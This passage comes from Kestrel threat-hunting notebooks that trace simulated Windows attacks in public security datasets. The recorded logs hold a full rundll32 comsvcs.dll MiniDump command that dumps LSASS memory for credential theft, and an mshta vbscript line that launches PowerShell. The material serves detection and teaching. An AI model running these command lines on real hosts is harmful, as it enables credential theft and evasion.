\n", 311 | " \n", 312 | " \n", 313 | " \n", 314 | " \n", 315 | " \n", 316 | " \n", 317 | " \n", 318 | " \n", 319 | " \n", 320 | " \n", 321 | " \n", 322 | " \n", 323 | " \n", 324 | " \n", 325 | " \n", 326 | " \n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | " \n", 337 | " \n", 338 | " \n", 339 | " \n", 340 | " \n", 341 | " \n", 342 | " \n", 343 | " \n", 344 | " \n", 345 | " \n", 346 | " \n", 347 | " \n", 348 | " \n", 349 | " \n", 350 | " \n", 351 | " \n", 352 | " \n", 353 | " \n", 354 | " \n", 355 | " \n", 356 | " \n", 357 | " \n", 358 | " \n", 359 | "
pidnameidcommand_linex_unique_idcreatedbinary_ref.namebinary_ref.idbinary_ref.hashes.'SHA-1'binary_ref.hashes.MD5binary_ref.hashes.'SHA-256'binary_ref.parent_directory_ref.pathbinary_ref.parent_directory_ref.idparent_ref.pidparent_ref.nameparent_ref.idparent_ref.command_lineparent_ref.x_unique_idparent_ref.createdparent_ref.parent_ref.pidparent_ref.parent_ref.nameparent_ref.parent_ref.idparent_ref.parent_ref.command_lineparent_ref.parent_ref.x_unique_idparent_ref.parent_ref.createdparent_ref.binary_ref.nameparent_ref.binary_ref.idparent_ref.binary_ref.hashes.'SHA-1'parent_ref.binary_ref.hashes.MD5parent_ref.binary_ref.hashes.'SHA-256'parent_ref.binary_ref.parent_directory_ref.pathparent_ref.binary_ref.parent_directory_ref.idparent_ref.creator_user_ref.user_idparent_ref.creator_user_ref.idcreator_user_ref.user_idcreator_user_ref.id
3080cmd.exeprocess--6c2c870b-d62a-5abc-ac05-0b391d932529\"C:\\windows\\system32\\cmd.exe\"{39e4a257-ff60-5f8c-2f04-000000000700}Nonecmd.exefile--bdb40b46-65f7-5a74-9516-60746576d4e7NoneNoneNoneC:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNoneNone
\n", 360 | "

Block Executed in 2 seconds

\n", 361 | " \n", 362 | " \n", 363 | " \n", 364 | " \n", 365 | " \n", 366 | " \n", 367 | " \n", 368 | " \n", 369 | " \n", 370 | " \n", 371 | " \n", 372 | " \n", 373 | " \n", 374 | " \n", 375 | " \n", 376 | " \n", 377 | " \n", 378 | " \n", 379 | " \n", 380 | " \n", 381 | " \n", 382 | " \n", 383 | " \n", 384 | " \n", 385 | " \n", 386 | " \n", 387 | " \n", 388 | " \n", 389 | " \n", 390 | " \n", 391 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*x-oca-asset*x-oca-event*
parentsprocess152750533042727

*Number of related records cached.

" 392 | ] 393 | }, 394 | "metadata": {}, 395 | "output_type": "display_data" 396 | } 397 | ], 398 | "source": [ 399 | "parents = find process created proc\n", 400 | "disp parents" 401 | ] 402 | }, 403 | { 404 | "cell_type": "markdown", 405 | "id": "523ecdb5", 406 | "metadata": {}, 407 | "source": [ 408 | "It's executed by `cmd.exe`, let's check to whom this parent process belongs" 409 | ] 410 | }, 411 | { 412 | "cell_type": "code", 413 | "execution_count": 4, 414 | "id": "0a76edfb", 415 | "metadata": {}, 416 | "outputs": [ 417 | { 418 | "name": "stderr", 419 | "output_type": "stream", 420 | "text": [] 421 | }, 422 | { 423 | "data": { 424 | "text/html": [ 425 | "

Block Executed in 2 seconds

\n", 426 | " \n", 427 | " \n", 428 | " \n", 429 | " \n", 430 | " \n", 431 | " \n", 432 | " \n", 433 | " \n", 434 | " \n", 435 | " \n", 436 | " \n", 437 | " \n", 438 | " \n", 439 | " \n", 440 | " \n", 441 | " \n", 442 | " \n", 443 | " \n", 444 | " \n", 445 | " \n", 446 | " \n", 447 | " \n", 448 | " \n", 449 | " \n", 450 | " \n", 451 | " \n", 452 | " \n", 453 | " \n", 454 | " \n", 455 | " \n", 456 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*x-oca-asset*x-oca-event*
usersuser-account142852553342828

*Number of related records cached.

" 457 | ] 458 | }, 459 | "metadata": {}, 460 | "output_type": "display_data" 461 | } 462 | ], 463 | "source": [ 464 | "users = find user-account owned procs" 465 | ] 466 | }, 467 | { 468 | "cell_type": "code", 469 | "execution_count": 5, 470 | "id": "c3e9bf8c", 471 | "metadata": {}, 472 | "outputs": [ 473 | { 474 | "name": "stderr", 475 | "output_type": "stream", 476 | "text": [] 477 | }, 478 | { 479 | "data": { 480 | "text/html": [ 481 | "\n", 482 | " \n", 483 | " \n", 484 | " \n", 485 | " \n", 486 | " \n", 487 | " \n", 488 | " \n", 489 | " \n", 490 | " \n", 491 | " \n", 492 | " \n", 493 | " \n", 494 | "
user_idid
WORKSTATION5\\wardoguser-account--c8b6cbe8-e16c-5b03-948a-085d1333e43e
" 495 | ] 496 | }, 497 | "metadata": {}, 498 | "output_type": "display_data" 499 | } 500 | ], 501 | "source": [ 502 | "disp users" 503 | ] 504 | }, 505 | { 506 | "cell_type": "markdown", 507 | "id": "24ff07f0", 508 | "metadata": {}, 509 | "source": [ 510 | "It appears that `WORKSTATION5\\wardog` is the executor. We can gather further information, such as the hostname and Sysmon events, which will be useful for the incident report." 511 | ] 512 | }, 513 | { 514 | "cell_type": "code", 515 | "execution_count": 6, 516 | "id": "3801e656", 517 | "metadata": {}, 518 | "outputs": [ 519 | { 520 | "name": "stderr", 521 | "output_type": "stream", 522 | "text": [] 523 | }, 524 | { 525 | "data": { 526 | "text/html": [ 527 | "\n", 528 | " \n", 529 | " \n", 530 | " \n", 531 | " \n", 532 | " \n", 533 | " \n", 534 | " \n", 535 | " \n", 536 | " \n", 537 | " \n", 538 | " \n", 539 | " \n", 540 | "
hostnameid
WORKSTATION5x-oca-asset--40bf1119-f018-56a0-a6a5-9bfeab2bc1df
\n", 541 | "\n", 542 | " \n", 543 | " \n", 544 | " \n", 545 | " \n", 546 | " \n", 547 | " \n", 548 | " \n", 549 | " \n", 550 | " \n", 551 | " \n", 552 | " \n", 553 | " \n", 554 | " \n", 555 | " \n", 556 | " \n", 557 | " \n", 558 | " \n", 559 | " \n", 560 | " \n", 561 | " \n", 562 | " \n", 563 | " \n", 564 | " \n", 565 | " \n", 566 | " \n", 567 | " \n", 568 | " \n", 569 | " \n", 570 | " \n", 571 | " \n", 572 | " \n", 573 | " \n", 574 | " \n", 575 | " \n", 576 | " \n", 577 | " \n", 578 | " \n", 579 | " \n", 580 | " \n", 581 | " \n", 582 | " \n", 583 | " \n", 584 | " \n", 585 | " \n", 586 | " \n", 587 | " \n", 588 | " \n", 589 | " \n", 590 | " \n", 591 | " \n", 592 | " \n", 593 | " \n", 594 | " \n", 595 | " \n", 596 | " \n", 597 | " \n", 598 | " \n", 599 | " \n", 600 | " \n", 601 | " \n", 602 | " \n", 603 | " \n", 604 | " \n", 605 | " \n", 606 | " \n", 607 | " \n", 608 | " \n", 609 | " \n", 610 | " \n", 611 | " \n", 612 | " \n", 613 | " \n", 614 | " \n", 615 | " \n", 616 | " \n", 617 | " \n", 618 | " \n", 619 | " \n", 620 | " \n", 621 | " \n", 622 | " \n", 623 | " \n", 624 | " \n", 625 | " \n", 626 | " \n", 627 | " \n", 628 | " \n", 629 | " \n", 630 | " \n", 631 | " \n", 632 | " \n", 633 | " \n", 634 | " \n", 635 | " \n", 636 | " \n", 637 | " \n", 638 | " \n", 639 | " \n", 640 | " \n", 641 | " \n", 642 | " \n", 643 | " \n", 644 | " \n", 645 | " \n", 646 | " \n", 647 | " \n", 648 | " \n", 649 | " \n", 650 | " \n", 651 | " \n", 652 | " \n", 653 | " \n", 654 | " \n", 655 | " \n", 656 | " \n", 657 | " \n", 658 | " \n", 659 | " \n", 660 | " \n", 661 | " \n", 662 | " \n", 663 | " \n", 664 | " \n", 665 | " \n", 666 | " \n", 667 | " \n", 668 | " \n", 669 | " \n", 670 | " \n", 671 | " \n", 672 | " \n", 673 | " \n", 674 | " \n", 675 | " \n", 676 | " \n", 677 | " \n", 678 | " \n", 679 | " \n", 680 | " \n", 681 | " \n", 682 | " \n", 683 | " \n", 684 | " \n", 685 | " \n", 686 | " \n", 687 | " \n", 688 | " \n", 689 | " \n", 690 | " \n", 691 | " \n", 692 | " \n", 693 | " \n", 694 | " \n", 695 | " \n", 696 | " \n", 697 | " \n", 698 | " \n", 699 | " \n", 700 | " \n", 701 | " \n", 702 | " \n", 703 | " \n", 704 | " \n", 705 | " \n", 706 | " \n", 707 | " \n", 708 | " \n", 709 | " \n", 710 | " \n", 711 | " \n", 712 | " \n", 713 | " \n", 714 | " \n", 715 | " \n", 716 | " \n", 717 | " \n", 718 | " \n", 719 | " \n", 720 | " \n", 721 | " \n", 722 | " \n", 723 | " \n", 724 | " \n", 725 | " \n", 726 | " \n", 727 | " \n", 728 | "
moduleprovidercodeactionid
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon1Process Createx-oca-event--df474eaf-9f24-4ad4-9a44-95e6f081cb43
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon5Process terminatedx-oca-event--35a316a1-e236-45df-be63-a0fb3f9988cd
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--e8745538-6119-40d2-8c5c-2a02be6ec132
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--e09f65fd-c493-4b07-8c74-da0a06bc8020
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--deb6872f-4e26-4a80-b1da-b25ce27146b1
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon11File createdx-oca-event--bce96601-bb41-48e5-aa46-24e2d57cd2d7
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--cd1a646a-2270-4769-a292-cc2f9e964dcf
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--5bd9a784-38c6-46e6-bbd7-eaed882a6ac1
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--fcb4a9e7-30fc-4a35-a7cd-752ddece5098
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--7bfcee3c-426b-4b8b-975e-978c599abbf5
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--86051a43-913d-4cbc-83b7-de3eb5e0da5a
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--ff846fe2-46ef-4a8b-b480-e32237df75a4
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--99ab71b6-0c8e-41b6-8a12-2930477235bc
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--0d7be2ef-a3df-4cc2-96b3-dccbeed779d2
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--655cc13a-3928-4f2c-afde-059984908db1
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--6c2a4f07-c3d8-434b-8c04-4fdb7341b3cf
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--0c0aacea-3dfe-4506-b140-6ade68ee21fa
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--50c6120f-61e3-4f91-b5fb-23e8b78f6a51
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--e66e95f1-ac47-4db1-be92-38906eda9b04
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--92c6f257-bd76-4e6a-9846-0ca01b28be3a
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--bc33e995-9587-45f1-b177-7eb8b7710838
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon7Image loadedx-oca-event--9186dafb-b3ab-413c-94da-534520816c5e
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon1Process Createx-oca-event--6c695295-4bf8-4221-8b7c-d8b5c1bdae52
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon1Process Createx-oca-event--33a9b694-10db-4c41-9828-dceb507c0b16
Microsoft-Windows-Sysmon/OperationalMicrosoft-Windows-Sysmon1Process Createx-oca-event--9571c0b7-10f0-4fbb-ad2b-acd6b2f22926
\n", 729 | "

Block Executed in 1 seconds

\n", 730 | " \n", 731 | " \n", 732 | " \n", 733 | " \n", 734 | " \n", 735 | " \n", 736 | " \n", 737 | " \n", 738 | " \n", 739 | " \n", 740 | " \n", 741 | " \n", 742 | " \n", 743 | " \n", 744 | " \n", 745 | " \n", 746 | " \n", 747 | " \n", 748 | " \n", 749 | " \n", 750 | " \n", 751 | " \n", 752 | " \n", 753 | " \n", 754 | " \n", 755 | " \n", 756 | " \n", 757 | " \n", 758 | " \n", 759 | " \n", 760 | " \n", 761 | " \n", 762 | " \n", 763 | " \n", 764 | " \n", 765 | " \n", 766 | " \n", 767 | " \n", 768 | " \n", 769 | " \n", 770 | " \n", 771 | " \n", 772 | " \n", 773 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*x-oca-asset*x-oca-event*
hostsx-oca-asset1282852553352728
eventsx-oca-event2525285255335283

*Number of related records cached.

" 774 | ] 775 | }, 776 | "metadata": {}, 777 | "output_type": "display_data" 778 | } 779 | ], 780 | "source": [ 781 | "hosts = find x-oca-asset linked procs\n", 782 | "disp hosts\n", 783 | "events = find x-oca-event linked procs\n", 784 | "disp events" 785 | ] 786 | } 787 | ], 788 | "metadata": { 789 | "kernelspec": { 790 | "display_name": "Kestrel", 791 | "language": "kestrel", 792 | "name": "kestrel" 793 | }, 794 | "language_info": { 795 | "file_extension": ".hf", 796 | "name": "kestrel" 797 | } 798 | }, 799 | "nbformat": 4, 800 | "nbformat_minor": 5 801 | } 802 | -------------------------------------------------------------------------------- /huntbooks/Lsass Memory Dump via Comsvcs.dll.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "eaea3b65", 6 | "metadata": {}, 7 | "source": [ 8 | "# Lsass Memory Dump via Comsvcs.dll\n", 9 | "\n", 10 | "https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201018195009.html\n", 11 | "\n", 12 | "https://attack.mitre.org/techniques/T1003/001\n", 13 | "\n", 14 | "Attacker sometimes use built-in tools in Windows to dump credential materials from the memory of the Local Security Authority Subsystem Service (LSASS). This hunt will look at one such technique, using the `MiniDump` exported function from `Comsvcs.dll`.\n", 15 | "\n", 16 | "The dataset used here for demonstration is available from the SecurityDatasets.com page linked above. The *Simulation Metadata* section of that page shows the tool type as \"manual\" meaning the simulated adversary manually ran this command from a PowerShell session." 17 | ] 18 | }, 19 | { 20 | "cell_type": "markdown", 21 | "id": "70c99a1a", 22 | "metadata": {}, 23 | "source": [ 24 | "We'll start by searching for the use of `rundll32.exe` to load `comsvcs.dll` and run the `MiniDump` function therein:" 25 | ] 26 | }, 27 | { 28 | "cell_type": "code", 29 | "execution_count": 1, 30 | "id": "7b0e1293", 31 | "metadata": {}, 32 | "outputs": [ 33 | { 34 | "name": "stderr", 35 | "output_type": "stream", 36 | "text": [] 37 | }, 38 | { 39 | "data": { 40 | "text/html": [ 41 | "

Block Executed in 1 seconds

\n", 42 | " \n", 43 | " \n", 44 | " \n", 45 | " \n", 46 | " \n", 47 | " \n", 48 | " \n", 49 | " \n", 50 | " \n", 51 | " \n", 52 | " \n", 53 | " \n", 54 | " \n", 55 | " \n", 56 | " \n", 57 | " \n", 58 | " \n", 59 | " \n", 60 | " \n", 61 | " \n", 62 | " \n", 63 | " \n", 64 | " \n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*x-oca-asset*x-oca-event*
procsprocess2343438673533434

*Number of related records cached.

" 73 | ] 74 | }, 75 | "metadata": {}, 76 | "output_type": "display_data" 77 | } 78 | ], 79 | "source": [ 80 | "procs = GET process\n", 81 | " FROM https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/credential_access/host/psh_lsass_memory_dump_comsvcs.zip\n", 82 | " WHERE binary_ref.name = 'rundll32.exe'\n", 83 | " AND command_line LIKE '%comsvcs.dll% MiniDump%'" 84 | ] 85 | }, 86 | { 87 | "cell_type": "code", 88 | "execution_count": 13, 89 | "id": "7f1e105c", 90 | "metadata": {}, 91 | "outputs": [ 92 | { 93 | "name": "stderr", 94 | "output_type": "stream", 95 | "text": [] 96 | }, 97 | { 98 | "data": { 99 | "text/html": [ 100 | "\n", 101 | " \n", 102 | " \n", 103 | " \n", 104 | " \n", 105 | " \n", 106 | " \n", 107 | " \n", 108 | " \n", 109 | " \n", 110 | " \n", 111 | " \n", 112 | " \n", 113 | " \n", 114 | " \n", 115 | "
binary_ref.namecommand_linepid
rundll32.exe\"C:\\Windows\\System32\\rundll32.exe\" C:\\windows\\System32\\comsvcs.dll MiniDump 756 C:\\Users\\wardog\\AppData\\Local\\Temp\\lsass-comsvcs.dmp full4824
" 116 | ] 117 | }, 118 | "metadata": {}, 119 | "output_type": "display_data" 120 | } 121 | ], 122 | "source": [ 123 | "DISP procs ATTR binary_ref.name, command_line, pid" 124 | ] 125 | }, 126 | { 127 | "cell_type": "markdown", 128 | "id": "9c319212", 129 | "metadata": {}, 130 | "source": [ 131 | "We found 1 instance; whether a given instance is malicious or not could depend on the related entities: the `process` that created this `process`, the associated `user-account`, etc. Let's look at the parent process:" 132 | ] 133 | }, 134 | { 135 | "cell_type": "code", 136 | "execution_count": 3, 137 | "id": "62c75d73", 138 | "metadata": {}, 139 | "outputs": [ 140 | { 141 | "name": "stderr", 142 | "output_type": "stream", 143 | "text": [] 144 | }, 145 | { 146 | "data": { 147 | "text/html": [ 148 | "

Block Executed in 1 seconds

\n", 149 | " \n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | " \n", 159 | " \n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
parentsprocess229606695624246060

*Number of related records cached.

" 182 | ] 183 | }, 184 | "metadata": {}, 185 | "output_type": "display_data" 186 | } 187 | ], 188 | "source": [ 189 | "parents = FIND process CREATED procs" 190 | ] 191 | }, 192 | { 193 | "cell_type": "code", 194 | "execution_count": 6, 195 | "id": "d3c82b6a", 196 | "metadata": {}, 197 | "outputs": [ 198 | { 199 | "name": "stderr", 200 | "output_type": "stream", 201 | "text": [] 202 | }, 203 | { 204 | "data": { 205 | "text/html": [ 206 | "\n", 207 | " \n", 208 | " \n", 209 | " \n", 210 | " \n", 211 | " \n", 212 | " \n", 213 | " \n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | "
binary_ref.namecommand_lineparent_ref.pid
powershell.exeC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exeNone
powershell.exeNoneNone
" 227 | ] 228 | }, 229 | "metadata": {}, 230 | "output_type": "display_data" 231 | } 232 | ], 233 | "source": [ 234 | "DISP parents ATTR binary_ref.name, command_line, parent_ref.pid" 235 | ] 236 | }, 237 | { 238 | "cell_type": "markdown", 239 | "id": "5a61539f", 240 | "metadata": {}, 241 | "source": [ 242 | "It's PowerShell, which is a standard Windows shell. It's also a popular tool for attackers, however. The dataset we're using doesn't show anything beyond this, but if you re-run this hunt against a live data source you could continue following the trail here by `FIND`ing what process created the powershell, etc.\n", 243 | "\n", 244 | "Knowing the user will help round out the picture for the incident report." 245 | ] 246 | }, 247 | { 248 | "cell_type": "code", 249 | "execution_count": 10, 250 | "id": "54a89d5f", 251 | "metadata": {}, 252 | "outputs": [ 253 | { 254 | "name": "stderr", 255 | "output_type": "stream", 256 | "text": [] 257 | }, 258 | { 259 | "data": { 260 | "text/html": [ 261 | "

Block Executed in 1 seconds

\n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " \n", 269 | " \n", 270 | " \n", 271 | " \n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | " \n", 289 | " \n", 290 | " \n", 291 | " \n", 292 | " \n", 293 | " \n", 294 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
usersuser-account23288911208930248888

*Number of related records cached.

" 295 | ] 296 | }, 297 | "metadata": {}, 298 | "output_type": "display_data" 299 | } 300 | ], 301 | "source": [ 302 | "users = FIND user-account OWNED procs" 303 | ] 304 | }, 305 | { 306 | "cell_type": "code", 307 | "execution_count": 11, 308 | "id": "7383c1a6", 309 | "metadata": {}, 310 | "outputs": [ 311 | { 312 | "name": "stderr", 313 | "output_type": "stream", 314 | "text": [] 315 | }, 316 | { 317 | "data": { 318 | "text/html": [ 319 | "\n", 320 | " \n", 321 | " \n", 322 | " \n", 323 | " \n", 324 | " \n", 325 | " \n", 326 | " \n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | "
user_idid
WORKSTATION5\\wardoguser-account--c8b6cbe8-e16c-5b03-948a-085d1333e43e
wardoguser-account--7c7b7450-5cfd-5683-a891-20644b37e384
" 337 | ] 338 | }, 339 | "metadata": {}, 340 | "output_type": "display_data" 341 | } 342 | ], 343 | "source": [ 344 | "DISP users" 345 | ] 346 | }, 347 | { 348 | "cell_type": "markdown", 349 | "id": "2f493618", 350 | "metadata": {}, 351 | "source": [ 352 | "We can also retrieve the machine names where this took place:" 353 | ] 354 | }, 355 | { 356 | "cell_type": "code", 357 | "execution_count": 7, 358 | "id": "a3839007", 359 | "metadata": {}, 360 | "outputs": [ 361 | { 362 | "name": "stderr", 363 | "output_type": "stream", 364 | "text": [] 365 | }, 366 | { 367 | "data": { 368 | "text/html": [ 369 | "

Block Executed in 1 seconds

\n", 370 | " \n", 371 | " \n", 372 | " \n", 373 | " \n", 374 | " \n", 375 | " \n", 376 | " \n", 377 | " \n", 378 | " \n", 379 | " \n", 380 | " \n", 381 | " \n", 382 | " \n", 383 | " \n", 384 | " \n", 385 | " \n", 386 | " \n", 387 | " \n", 388 | " \n", 389 | " \n", 390 | " \n", 391 | " \n", 392 | " \n", 393 | " \n", 394 | " \n", 395 | " \n", 396 | " \n", 397 | " \n", 398 | " \n", 399 | " \n", 400 | " \n", 401 | " \n", 402 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
hostsx-oca-asset160606695644245960

*Number of related records cached.

" 403 | ] 404 | }, 405 | "metadata": {}, 406 | "output_type": "display_data" 407 | } 408 | ], 409 | "source": [ 410 | "hosts = FIND x-oca-asset LINKED procs" 411 | ] 412 | }, 413 | { 414 | "cell_type": "code", 415 | "execution_count": 8, 416 | "id": "8fbf0b9b", 417 | "metadata": {}, 418 | "outputs": [ 419 | { 420 | "name": "stderr", 421 | "output_type": "stream", 422 | "text": [] 423 | }, 424 | { 425 | "data": { 426 | "text/html": [ 427 | "\n", 428 | " \n", 429 | " \n", 430 | " \n", 431 | " \n", 432 | " \n", 433 | " \n", 434 | " \n", 435 | " \n", 436 | " \n", 437 | " \n", 438 | " \n", 439 | " \n", 440 | "
hostnameid
WORKSTATION5x-oca-asset--40bf1119-f018-56a0-a6a5-9bfeab2bc1df
" 441 | ] 442 | }, 443 | "metadata": {}, 444 | "output_type": "display_data" 445 | } 446 | ], 447 | "source": [ 448 | "DISP hosts" 449 | ] 450 | }, 451 | { 452 | "cell_type": "markdown", 453 | "id": "7a3be139", 454 | "metadata": {}, 455 | "source": [ 456 | "At this point, we have the basic evidence for creating an incident report. " 457 | ] 458 | } 459 | ], 460 | "metadata": { 461 | "kernelspec": { 462 | "display_name": "Kestrel", 463 | "language": "kestrel", 464 | "name": "kestrel" 465 | }, 466 | "language_info": { 467 | "file_extension": ".hf", 468 | "name": "kestrel" 469 | } 470 | }, 471 | "nbformat": 4, 472 | "nbformat_minor": 5 473 | } 474 | -------------------------------------------------------------------------------- /huntbooks/Non-Interactive Windows Shells.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "6b5dc9b8", 6 | "metadata": {}, 7 | "source": [ 8 | "# Non-interactive Windows Shells\n", 9 | "\n", 10 | "https://attack.mitre.org/techniques/T1059/\n", 11 | "\n", 12 | "Search for `powershell` or `cmd` running non-interactively; i.e. not started by `explorer.exe`. \n", 13 | "\n", 14 | "This isn't necessarily malicious, so further environment-specific filtering would be necessry to operationalize.\n", 15 | "\n", 16 | "Dataset from https://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-201022025808.html\n", 17 | "\n" 18 | ] 19 | }, 20 | { 21 | "cell_type": "code", 22 | "execution_count": 1, 23 | "id": "e88bb160", 24 | "metadata": {}, 25 | "outputs": [ 26 | { 27 | "name": "stderr", 28 | "output_type": "stream", 29 | "text": [] 30 | }, 31 | { 32 | "data": { 33 | "text/html": [ 34 | "\n", 35 | " \n", 36 | " \n", 37 | " \n", 38 | " \n", 39 | " \n", 40 | " \n", 41 | " \n", 42 | " \n", 43 | " \n", 44 | " \n", 45 | " \n", 46 | " \n", 47 | " \n", 48 | " \n", 49 | " \n", 50 | " \n", 51 | " \n", 52 | " \n", 53 | " \n", 54 | " \n", 55 | " \n", 56 | " \n", 57 | " \n", 58 | " \n", 59 | " \n", 60 | "
pidbinary_ref.namecommand_lineparent_ref.pidparent_ref.binary_ref.name
9572powershell.exeNoneNone
9572powershell.exe\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noexit -command Get-Service sysmon10980.0mshta.exe
\n", 61 | "

Block Executed in 3 seconds

\n", 62 | " \n", 63 | " \n", 64 | " \n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | " \n", 78 | " \n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | " \n", 87 | " \n", 88 | " \n", 89 | " \n", 90 | " \n", 91 | " \n", 92 | " \n", 93 | " \n", 94 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
psprocess41668668766768633156398668668

*Number of related records cached.

" 95 | ] 96 | }, 97 | "metadata": {}, 98 | "output_type": "display_data" 99 | } 100 | ], 101 | "source": [ 102 | "ps = GET process\n", 103 | " FROM https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/cmd_mshta_vbscript_execute_psh.zip\n", 104 | " WHERE [process:binary_ref.name IN ('cmd.exe', 'powershell.exe') AND process:parent_ref.binary_ref.name != 'explorer.exe']\n", 105 | "DISP ps ATTR pid, binary_ref.name, command_line, parent_ref.pid, parent_ref.binary_ref.name" 106 | ] 107 | }, 108 | { 109 | "cell_type": "markdown", 110 | "id": "cb2f5ce3", 111 | "metadata": {}, 112 | "source": [ 113 | "We got a hit (process ID 9572), so we can manually inspect the command line to figure out what's going on. The `Get-Service` cmdlet returns information about services on the host. Here it's requesting information on `sysmon`, an important service for security monitoring. Perhaps this is some reconnaissance?\n", 114 | "\n", 115 | "Let's try to see where this command came from by moving up the process tree..." 116 | ] 117 | }, 118 | { 119 | "cell_type": "code", 120 | "execution_count": 2, 121 | "id": "c343c18d", 122 | "metadata": {}, 123 | "outputs": [ 124 | { 125 | "name": "stderr", 126 | "output_type": "stream", 127 | "text": [] 128 | }, 129 | { 130 | "data": { 131 | "text/html": [ 132 | "\n", 133 | " \n", 134 | " \n", 135 | " \n", 136 | " \n", 137 | " \n", 138 | " \n", 139 | " \n", 140 | " \n", 141 | " \n", 142 | " \n", 143 | " \n", 144 | " \n", 145 | " \n", 146 | " \n", 147 | " \n", 148 | " \n", 149 | " \n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | "
pidnamecommand_lineparent_ref.pidparent_ref.binary_ref.name
10980mshta.exemshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -noexit -command Get-Service sysmon\"\":close\")5888.0cmd.exe
10980mshta.exeNoneNone
